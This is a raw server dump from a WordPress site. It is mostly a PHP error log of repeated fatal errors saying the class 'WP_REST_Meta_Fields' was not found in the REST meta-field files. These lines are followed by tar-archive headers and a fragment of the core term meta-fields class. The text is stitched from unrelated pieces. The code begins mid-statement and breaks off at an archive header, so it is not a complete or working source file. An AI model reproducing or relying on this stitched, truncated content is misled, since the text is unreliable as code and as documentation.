/home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [17-Aug-2025 12:51:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [17-Aug-2025 12:53:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [17-Aug-2025 13:04:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [17-Aug-2025 13:06:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [17-Aug-2025 14:05:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [17-Aug-2025 23:20:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [23-Aug-2025 04:56:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [23-Aug-2025 05:46:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [24-Aug-2025 15:08:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [24-Aug-2025 21:01:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [27-Sep-2025 04:20:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [27-Sep-2025 05:47:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [27-Sep-2025 15:20:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [27-Sep-2025 22:00:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [04-Oct-2025 10:31:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [04-Oct-2025 16:17:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [04-Oct-2025 16:24:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [04-Oct-2025 16:33:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [21-Oct-2025 16:37:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [21-Oct-2025 16:44:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 [21-Oct-2025 16:45:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [21-Oct-2025 16:46:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [30-Oct-2025 04:42:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17 [30-Oct-2025 05:43:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17 [30-Oct-2025 15:28:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17 [30-Oct-2025 23:31:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17 class-wp-rest-term-meta-fields.php000064400000002331151075364760013133 0ustar00taxonomy = $taxonomy; } /** * Retrieves the term meta type. * * @since 4.7.0 * * @return string The meta type. */ protected function get_meta_type() { return 'term'; } /** * Retrieves the term meta subtype. * * @since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->taxonomy; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @return string The REST field type. */ public function get_rest_field_type() { return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy; } } class-wp-rest-user-meta-fields.php000064400000001530151075364760013142 0ustar00